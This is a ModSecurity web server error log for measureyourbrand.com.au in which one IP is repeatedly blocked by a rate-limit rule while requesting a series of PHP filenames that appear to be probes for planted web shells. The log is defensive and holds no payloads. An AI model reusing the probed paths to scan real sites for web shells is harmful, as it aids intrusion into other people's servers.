[Sat Feb 28 17:26:05.667587 2026] [:error] [pid 39185:tid 39259] [client 4.205.9.11:55428] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaK0rRVE-FfM89u7BQZvOQAAAI0"]
[Sat Feb 28 17:26:06.244486 2026] [:error] [pid 22194:tid 22215] [client 4.205.9.11:33210] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaK0rn6mbajs3bzQGyt6ewAAAVM"]
[Sat Feb 28 17:26:06.669367 2026] [:error] [pid 11791:tid 11794] [client 4.205.9.11:33203] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaK0rmuX5e1Q32gqxH2CogAAAQE"]
[Sat Feb 28 17:26:07.128161 2026] [:error] [pid 22194:tid 22202] [client 4.205.9.11:49145] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaK0r36mbajs3bzQGyt6fwAAAUY"]
[Sat Feb 28 17:26:07.695068 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:39295] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaK0r7THSOG_yf2PpqEWFAAAAcM"]
[Sat Feb 28 17:26:08.370215 2026] [:error] [pid 11791:tid 11796] [client 4.205.9.11:38535] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaK0sGuX5e1Q32gqxH2CqAAAAQM"]
[Sat Feb 28 17:26:08.886710 2026] [:error] [pid 11791:tid 11809] [client 4.205.9.11:49133] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaK0sGuX5e1Q32gqxH2CrQAAARA"]
[Sat Feb 28 17:26:09.305874 2026] [:error] [pid 11791:tid 11817] [client 4.205.9.11:33154] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaK0sWuX5e1Q32gqxH2CsAAAARg"]
[Sat Feb 28 17:26:09.758899 2026] [:error] [pid 39184:tid 39219] [client 4.205.9.11:49131] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaK0sVtZF9Zd_U7easBCnAAAAEA"]
[Sat Feb 28 17:26:10.260621 2026] [:error] [pid 39184:tid 39233] [client 4.205.9.11:33179] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaK0sltZF9Zd_U7easBCoQAAAE4"]
[Sat Feb 28 17:26:10.682189 2026] [:error] [pid 11791:tid 11812] [client 4.205.9.11:44417] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaK0smuX5e1Q32gqxH2CtwAAARM"]
[Sat Feb 28 17:26:11.180029 2026] [:error] [pid 39185:tid 39253] [client 4.205.9.11:55484] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaK0sxVE-FfM89u7BQZvQgAAAIc"]
[Sat Feb 28 17:26:11.628910 2026] [:error] [pid 39183:tid 39196] [client 4.205.9.11:39271] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaK0sxCf4HvhVePw3LZFiQAAAAQ"]
[Sat Feb 28 17:26:12.095956 2026] [:error] [pid 49763:tid 49781] [client 4.205.9.11:33207] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaK0tLTHSOG_yf2PpqEWHgAAAc8"]
[Sat Feb 28 17:26:12.522996 2026] [:error] [pid 39185:tid 39246] [client 4.205.9.11:55473] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaK0tBVE-FfM89u7BQZvQwAAAIA"]
[Sat Feb 28 17:26:12.942108 2026] [:error] [pid 39184:tid 39224] [client 4.205.9.11:33185] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaK0tFtZF9Zd_U7easBCtwAAAEU"]
[Sat Feb 28 17:26:13.365823 2026] [:error] [pid 39183:tid 39205] [client 4.205.9.11:33181] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaK0tRCf4HvhVePw3LZFmAAAAA0"]
[Sat Feb 28 17:26:13.809371 2026] [:error] [pid 39184:tid 39228] [client 4.205.9.11:49110] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaK0tVtZF9Zd_U7easBCvAAAAEk"]
[Sat Feb 28 17:26:14.264757 2026] [:error] [pid 39183:tid 39200] [client 4.205.9.11:49140] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaK0thCf4HvhVePw3LZFqwAAAAg"]
[Sat Feb 28 17:26:14.680720 2026] [:error] [pid 39183:tid 39207] [client 4.205.9.11:51069] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e0v9e95c.php"] [unique_id "aaK0thCf4HvhVePw3LZFtgAAAA8"]
[Sat Feb 28 17:26:15.122224 2026] [:error] [pid 39183:tid 39193] [client 4.205.9.11:33204] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaK0txCf4HvhVePw3LZFwAAAAAE"]
[Sat Feb 28 17:26:15.551763 2026] [:error] [pid 39185:tid 39266] [client 4.205.9.11:51046] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaK0txVE-FfM89u7BQZvRgAAAJQ"]
[Sat Feb 28 17:26:15.979153 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:38549] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaK0t7THSOG_yf2PpqEWJAAAAcM"]
[Sat Feb 28 17:26:16.513472 2026] [:error] [pid 39292:tid 39300] [client 4.205.9.11:39241] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2gz1dxix.php"] [unique_id "aaK0uKIAO5fN7BxyqcEogAAAAMY"]
[Sat Feb 28 17:26:16.954528 2026] [:error] [pid 49763:tid 49770] [client 4.205.9.11:39274] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "aaK0uLTHSOG_yf2PpqEWKgAAAcQ"]
[Sat Feb 28 17:26:17.400103 2026] [:error] [pid 39184:tid 39233] [client 4.205.9.11:55433] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "aaK0uVtZF9Zd_U7easBC2QAAAE4"]
[Sat Feb 28 17:26:17.808980 2026] [:error] [pid 49763:tid 49789] [client 4.205.9.11:39252] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "aaK0ubTHSOG_yf2PpqEWLQAAAdc"]
[Sat Feb 28 17:26:18.257667 2026] [:error] [pid 49763:tid 49783] [client 4.205.9.11:44422] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "aaK0urTHSOG_yf2PpqEWMgAAAdE"]
[Sat Feb 28 17:26:18.696028 2026] [:error] [pid 49763:tid 49784] [client 4.205.9.11:64921] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "aaK0urTHSOG_yf2PpqEWNgAAAdI"]
[Sat Feb 28 17:26:19.122912 2026] [:error] [pid 39184:tid 39224] [client 4.205.9.11:44474] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "aaK0u1tZF9Zd_U7easBC6AAAAEU"]
[Sat Feb 28 17:26:19.550446 2026] [:error] [pid 39183:tid 39192] [client 4.205.9.11:64949] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "aaK0uxCf4HvhVePw3LZF2gAAAAA"]
[Sat Feb 28 17:26:19.982635 2026] [:error] [pid 39183:tid 39201] [client 4.205.9.11:55424] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "aaK0uxCf4HvhVePw3LZF3AAAAAk"]
[Sat Feb 28 17:26:20.498995 2026] [:error] [pid 49763:tid 49789] [client 4.205.9.11:64904] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaK0vLTHSOG_yf2PpqEWQAAAAdc"]
[Sat Feb 28 17:26:20.924953 2026] [:error] [pid 49763:tid 49776] [client 4.205.9.11:39270] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaK0vLTHSOG_yf2PpqEWQgAAAco"]
[Sat Feb 28 17:26:21.351814 2026] [:error] [pid 39183:tid 39214] [client 4.205.9.11:30825] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaK0vRCf4HvhVePw3LZF7gAAABY"]
[Sat Feb 28 17:26:21.776340 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:64944] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aaK0vbTHSOG_yf2PpqEWRwAAAcM"]
[Sat Feb 28 17:26:22.211206 2026] [:error] [pid 49763:tid 49777] [client 4.205.9.11:38570] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaK0vrTHSOG_yf2PpqEWSwAAAcs"]
[Sat Feb 28 17:26:22.647858 2026] [:error] [pid 49763:tid 49786] [client 4.205.9.11:39268] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaK0vrTHSOG_yf2PpqEWUQAAAdQ"]
[Sat Feb 28 17:26:23.081626 2026] [:error] [pid 49763:tid 49769] [client 4.205.9.11:55437] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaK0v7THSOG_yf2PpqEWVgAAAcM"]
[Sat Feb 28 17:26:23.664092 2026] [:error] [pid 39184:tid 39229] [client 4.205.9.11:51024] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaK0v1tZF9Zd_U7easBDBwAAAEo"]
[Sat Feb 28 17:26:24.103850 2026] [:error] [pid 49763:tid 49786] [client 4.205.9.11:44440] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-f.php"] [unique_id "aaK0wLTHSOG_yf2PpqEWXgAAAdQ"]
[Sat Feb 28 17:26:24.538064 2026] [:error] [pid 49763:tid 49790] [client 4.205.9.11:39253] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-f.php"] [unique_id "aaK0wLTHSOG_yf2PpqEWYgAAAdg"]
[Sat Feb 28 17:26:24.946588 2026] [:error] [pid 52460:tid 52479] [client 4.205.9.11:39237] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-f.php"] [unique_id "aaK0wLLWOogAgHGh62S0wgAAAZA"]
[Sat Feb 28 17:26:25.368123 2026] [:error] [pid 49763:tid 49766] [client 4.205.9.11:44449] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-f.php"] [unique_id "aaK0wbTHSOG_yf2PpqEWZwAAAcA"]
[Sat Feb 28 17:26:25.897977 2026] [:error] [pid 52460:tid 52475] [client 4.205.9.11:55426] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaK0wbLWOogAgHGh62S0wwAAAYw"]
[Sat Feb 28 17:26:26.359486 2026] [:error] [pid 52460:tid 52469] [client 4.205.9.11:49134] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaK0wrLWOogAgHGh62S0xAAAAYY"]
[Sat Feb 28 17:26:26.770556 2026] [:error] [pid 39185:tid 39253] [client 4.205.9.11:44444] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaK0whVE-FfM89u7BQZvTgAAAIc"]
[Sat Feb 28 17:26:27.201888 2026] [:error] [pid 39292:tid 39294] [client 4.205.9.11:33192] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaK0w6IAO5fN7BxyqcEojQAAAMA"]
[Sat Feb 28 17:26:27.669534 2026] [:error] [pid 49763:tid 49777] [client 4.205.9.11:64946] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "aaK0w7THSOG_yf2PpqEWbgAAAcs"]
[Sat Feb 28 17:26:28.123649 2026] [:error] [pid 39292:tid 39299] [client 4.205.9.11:38530] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "aaK0xKIAO5fN7BxyqcEokQAAAMU"]
[Sat Feb 28 17:26:28.588904 2026] [:error] [pid 39183:tid 39209] [client 4.205.9.11:49147] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "aaK0xBCf4HvhVePw3LZGCQAAABE"]
[Sat Feb 28 17:26:28.999676 2026] [:error] [pid 39292:tid 39306] [client 4.205.9.11:64910] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx78.php"] [unique_id "aaK0xKIAO5fN7BxyqcEolgAAAMw"]
[Sat Feb 28 17:26:29.418213 2026] [:error] [pid 49763:tid 49773] [client 4.205.9.11:33172] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaK0xbTHSOG_yf2PpqEWdAAAAcc"]
[Sat Feb 28 17:26:29.986000 2026] [:error] [pid 39183:tid 39192] [client 4.205.9.11:38573] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaK0xRCf4HvhVePw3LZGCwAAAAA"]
[Sat Feb 28 17:26:30.439434 2026] [:error] [pid 39183:tid 39193] [client 4.205.9.11:39283] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp_bqLC0MQe.php"] [unique_id "aaK0xhCf4HvhVePw3LZGEgAAAAE"]
